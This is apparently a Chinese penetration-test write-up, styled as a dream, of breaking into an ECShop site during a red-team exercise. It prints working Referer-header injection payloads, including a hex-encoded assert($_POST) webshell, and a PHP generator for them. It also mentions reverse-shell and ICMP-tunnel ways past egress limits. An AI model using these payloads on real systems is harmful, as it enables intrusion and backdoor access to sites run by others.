记一次不小心拿下外网靶标的梦境
The following article is from 猫蛋儿安全 Author MDSEC
公众号现在只对常读和星标的公众号才展示大图推送,
建议大家把听风安全设为星标,否则可能就看不到啦!
----------------------------------------------------------------------
梦境介绍
喂,醒醒,我丢,你这个成绩,你这个分数,你睡得着觉?,猫蛋儿睁开迷蒙的双眼,突然发现自己居然在攻防现场参加一场竞争激烈的攻防演练,我,我,我不是刚才还在公司么?旁边的领导狗剩儿看到自己队伍0分的成绩说道,公司你大爷,在不打出来东西,明天就给我卷铺盖滚蛋。行吧,不打也不行了,为了保全饭碗打个成果就是了。
信息收集
外网打点
1.ECShop 2.x/3.x 代码执行漏洞
webshell利用:这里就不写了,说实话网上公开的写入成功不了。
执行过后发现写入失败,可能是POC问题吧,接下来在互联网上寻找能直接打的POC。
皆利用失败,github/互联网上看了不少Poc说没有写入权限就没法打
2.x版本:
Referer:554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca
3.x版本:
Referer:45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a
GET /user.php HTTP/1.1
Host: x.x.x.x
Sec-Ch-Ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer:554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:127:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b6173736572742840245f504f53545b2761275d293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
POC生成脚本如下:
<?php
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$arr = [
"num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
"id" => $id
];
$s = serialize($arr);
$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';
echo "POC for ECShop 2.x: \n";
echo "{$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{$hash3}ads|{$s}{$hash3}";
?>
2.目标环境问题
通过命令执行发现环境存在以下问题:
1.目标主机的权限极低。
2.没有写入web目录的权限。
3.白名单限制,只可以对可信域名进行数据通信。
4.出网环境,ICMP可以进行通信绕过网络限制。
5.其他协议没有可信域名就没法出网。
6.Linux amd64环境。
7.disable_functions禁用函数比较少。
1.利用代码执行进行webshell连接。
2.通过域前置/劫持等操作进行白名单绕过反弹shell。
3.通过ICMP代理直接进入内网(权限不一定够,不会的赶紧看猫蛋儿文章去)。
4.利用PHP语言特性,修改PHP进行webshell权限获取(权限不够)
猫蛋儿看到这里,那肯定选代码执行获取webshell,这漏洞的类型没法落地就没法落地呗。
3.外网突破
这里我们可以将代码注入到user.php页面中,我们直接就写个eval类似的代码上去不就行了么(实际利用可能需要其他函数)。
通过抓包验证多次,发现通信是没有问题的,但是数据包通信方式如果调整为默认,data返回为空,抓包查看报错。害,这种情况的处理方式很简单其实,换一个加密方式就可以了,接下来,直接配一下连接就行。
最后,成功连接webshell。
4.案例总结
其实像这种类似文件包含类型的代码执行,如果可以将代码注入到页面中,webshell的通信原理是完全满足正常的包含利用的,所以这种类型漏洞其实直接写个eval就能正常获取webshell而不是非得上传个webshell才行,当然这玩意是师傅们应该也都清楚知道,就不多展开进行叙述了,案例的打点流程为信息收集—>指纹匹配—>框架漏洞搜索—>直接利用。